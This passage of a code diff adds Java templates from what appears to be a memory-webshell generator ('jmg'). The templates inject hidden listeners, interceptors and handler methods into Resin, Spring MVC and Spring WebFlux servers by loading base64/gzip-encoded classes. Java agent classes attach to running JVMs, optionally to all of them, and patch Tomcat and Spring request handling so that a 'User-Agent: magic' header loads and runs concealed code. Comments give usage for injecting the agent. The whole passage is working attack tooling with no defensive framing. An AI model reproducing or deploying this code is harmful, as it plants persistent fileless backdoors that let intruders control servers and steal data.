return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,188 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class ResinListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new ResinListenerInjectorTpl();
}
public ResinListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
injectListener(context, listener);
}
} catch (Exception ignored) {
}
}
private void injectListener(Object context, Object listener) throws Exception {
if (!isInjected(context, listener.getClass().getName())) {
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
// 清除缓存,否则某些 uri 无法连接
invokeMethod(context, "clearCache");
}
}
public List<Object> getContext() {
List<Object> contexts = new ArrayList();
HashSet<Object> visited = new HashSet();
try {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null && visited.add(webApp)) {
contexts.add(webApp);
}
}
} catch (Exception e) {
}
return contexts;
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners");
for (int i = 0; i < arrayList.size(); i++) {
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,241 @@
package jmg.core.template;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;
public class SpringMVCAgentTransformer implements ClassFileTransformer {
public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet";
public static final String targetMethodName = "service";
public String injectHeaderName = "User-Agent";
public String injectHeaderValue = "magic";
public String getInjectorCode() {
return "";
}
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
instrumentation.addTransformer(new SpringMVCAgentTransformer(), true);
for (Class clz : instrumentation.getAllLoadedClasses()) {
if (!clz.getName().equals(targetClassName)) continue;
instrumentation.retransformClasses(clz);
}
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
if (className.equals(targetClassName) && classBeingRedefined != null) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
CtClass ctClass = pool.getCtClass(className);
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
String injectorCode = getInjectorCode();
String code = String.format("try {\n" +
" if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" +
" String injectorCode = \"%s\";\n" +
" byte[] byteArray;\n" +
" try {\n" +
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
" } catch (Throwable e) {\n" +
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
" }\n" +
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
" method.setAccessible(true);\n" +
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
" clazz.newInstance();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
ctMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
return new byte[0];
}
private static Class virtualMachineClass;
private static Class virtualMachineDescriptorClass;
private static List<Object> vms;
static {
try {
// 获取 tools.jar 的路径
StringBuilder toolsJarPath = new StringBuilder();
toolsJarPath.append(System.getProperty("java.home"))
.append(File.separator)
.append("..")
.append(File.separator)
.append("lib")
.append(File.separator)
.append("tools.jar");
File toolsJarFile = new File(toolsJarPath.toString());
// 如果 JDK 目录下没有找到 tools.jar(纯JRE
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
// 释放内置的 tools.jar
InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
toolsJarFile = File.createTempFile("tools", ".jar");
FileOutputStream out = null;
try {
out = new FileOutputStream(toolsJarFile);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
} finally {
if (out != null) {
out.close();
}
}
}
// Load the VirtualMachine and VirtualMachineDescriptor classes
URL url = toolsJarFile.toURI().toURL();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
} catch (Exception e) {
e.printStackTrace();
}
}
/*
参数说明见 TomcatAgentTransformer
*/
public static void main(String[] args) throws Exception {
if (args.length == 0) {
listAllJvmPids();
}
else if (args.length == 1) {
String arg = args[0];
if (arg.equalsIgnoreCase("all")) {
for (String jvmProcessId : getAllJvmPids()) {
attachAgentToTargetJvm(jvmProcessId);
}
}
else {
try {
Integer.parseInt(arg);
attachAgentToTargetJvm(arg);
}
catch (NumberFormatException e) {
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
attachAgentToTargetJvm(jvmProcessId);
}
}
}
} else {
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
}
}
public static List<String> getAllJvmPids() throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
return pids;
}
public static void listAllJvmPids() throws Exception {
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String displayName = (String) displayNameMethod.invoke(vm);
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
}
}
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String currentDisplayName = (String) displayNameMethod.invoke(vm);
System.out.println(currentDisplayName);
System.out.println(displayName);
System.out.println();
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
}
return pids;
}
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
infoLog("Current agent path: " + agentFilePath);
File agentFile = new File(agentFilePath);
String currentPid = getCurrentPID();
if (targetPID.equals(currentPid)) {
infoLog("Skipping attaching to self");
} else {
try {
infoLog("Attaching to target JVM with PID: " + targetPID);
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
Method detach = virtualMachineClass.getDeclaredMethod("detach");
detach.invoke(jvm);
successLog("Attached to target JVM and loaded agent successfully");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
private static String getCurrentPID() {
return ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
}
public static void infoLog(String message) {
System.out.println("[*] " + message);
}
public static void failLog(String message) {
System.out.println("[-] " + message);
}
public static void successLog(String message) {
System.out.println("[+] " + message);
}
}
@@ -0,0 +1,183 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.zip.GZIPInputStream;
public class SpringMVCInterceptorInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
public SpringMVCInterceptorInjectorTpl() throws Exception {
Object context = getContext();
Object interceptor = getInterceptor();
addInterceptor(context, interceptor);
}
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object httprequest = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(httprequest, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext});
} catch (Exception e) {
}
if (context == null) {
try {
LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext;
}
} catch (Exception ignored) {
}
}
return context;
}
private Object getInterceptor() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
} catch (Throwable tt) {
}
}
return interceptor;
}
public void addInterceptor(Object context, Object interceptor) {
try {
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) getFV(abstractHandlerMapping, "adaptedInterceptors");
adaptedInterceptors.add(interceptor);
} catch (Exception ignored) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,185 @@
package jmg.core.template;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.server.ServerWebExchange;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.zip.GZIPInputStream;
/**
* spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod
*/
public class SpringWebFluxHandlerMethodInjectorTpl {
public String getUrlPattern() {
return "";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
public SpringWebFluxHandlerMethodInjectorTpl() {
try {
Object requestMappingHandlerMapping = getRequestMappingHandlerMapping();
Object handlerMethod = getHandlerMethod();
addHandlerMethod(requestMappingHandlerMapping, handlerMethod);
} catch (Exception ignored) {
}
}
private Object getRequestMappingHandlerMapping() throws Exception {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
Object requestMappingHandlerMapping = null;
for (int i = 0; i < threads.length; i++) {
try {
Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings");
Object[] objects = handlerMappings.toArray();
boolean flag = false;
for (int j = 0; j < objects.length; j++) {
if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) {
requestMappingHandlerMapping = objects[j];
flag = true;
}
}
if (flag) {
return requestMappingHandlerMapping;
}
} catch (Exception ignored) {
}
}
return requestMappingHandlerMapping;
}
public void addHandlerMethod(Object obj, Object handler) {
try {
Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class);
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo});
} catch (Exception ignored) {
}
}
private Object getHandlerMethod() {
Object handler = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
handler = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
handler = clazz.newInstance();
} catch (Exception ignored) {
}
}
return handler;
}
private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
private static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
private static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,255 @@
package jmg.core.template;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;
public class TomcatAgentTransformer implements ClassFileTransformer {
public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String targetMethodName = "doFilter";
public String injectHeaderName = "User-Agent";
public String injectHeaderValue = "magic";
public String getInjectorCode() {
return "";
}
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
instrumentation.addTransformer(new TomcatAgentTransformer(), true);
for (Class clz : instrumentation.getAllLoadedClasses()) {
if (!clz.getName().equals(targetClassName)) continue;
instrumentation.retransformClasses(clz);
}
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
if (className.equals(targetClassName) && classBeingRedefined != null) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
CtClass ctClass = pool.getCtClass(className);
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
String injectorCode = getInjectorCode();
String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" +
" javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" +
" javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" +
" try {\n" +
" if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" +
" String injectorCode = \"%s\";\n" +
" byte[] byteArray;\n" +
" try {\n" +
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
" } catch (Throwable e) {\n" +
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
" }\n" +
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
" method.setAccessible(true);\n" +
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
" clazz.newInstance();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }\n" +
"}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
ctMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
return new byte[0];
}
private static Class virtualMachineClass;
private static Class virtualMachineDescriptorClass;
private static List<Object> vms;
static {
try {
// 获取 tools.jar 的路径
StringBuilder toolsJarPath = new StringBuilder();
toolsJarPath.append(System.getProperty("java.home"))
.append(File.separator)
.append("..")
.append(File.separator)
.append("lib")
.append(File.separator)
.append("tools.jar");
File toolsJarFile = new File(toolsJarPath.toString());
// 如果 JDK 目录下没有找到 tools.jar(纯JRE
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
// 释放内置的 tools.jar
InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
toolsJarFile = File.createTempFile("tools", ".jar");
FileOutputStream out = null;
try {
out = new FileOutputStream(toolsJarFile);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
} finally {
if (out != null) {
out.close();
}
}
}
// Load the VirtualMachine and VirtualMachineDescriptor classes
URL url = toolsJarFile.toURI().toURL();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
} catch (Exception e) {
e.printStackTrace();
}
}
/*
使用方法:
java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID
java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程
java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID
java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
*/
public static void main(String[] args) throws Exception {
// 无参数 - 列出所有 JVM 进程 ID
if (args.length == 0) {
listAllJvmPids();
} else if (args.length == 1) {
String arg = args[0];
// "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用)
if (arg.equalsIgnoreCase("all")) {
for (String jvmProcessId : getAllJvmPids()) {
attachAgentToTargetJvm(jvmProcessId);
}
}
// JVM 进程 ID,将 agent 注入到指定的 JVM 进程
else {
try {
Integer.parseInt(arg);
attachAgentToTargetJvm(arg);
} catch (NumberFormatException e) {
/*
WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点)
WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
HOW tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马
*/
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
attachAgentToTargetJvm(jvmProcessId);
}
}
}
} else {
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
}
}
public static List<String> getAllJvmPids() throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
return pids;
}
public static void listAllJvmPids() throws Exception {
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String displayName = (String) displayNameMethod.invoke(vm);
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
}
}
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
String currentDisplayName = (String) displayNameMethod.invoke(vm);
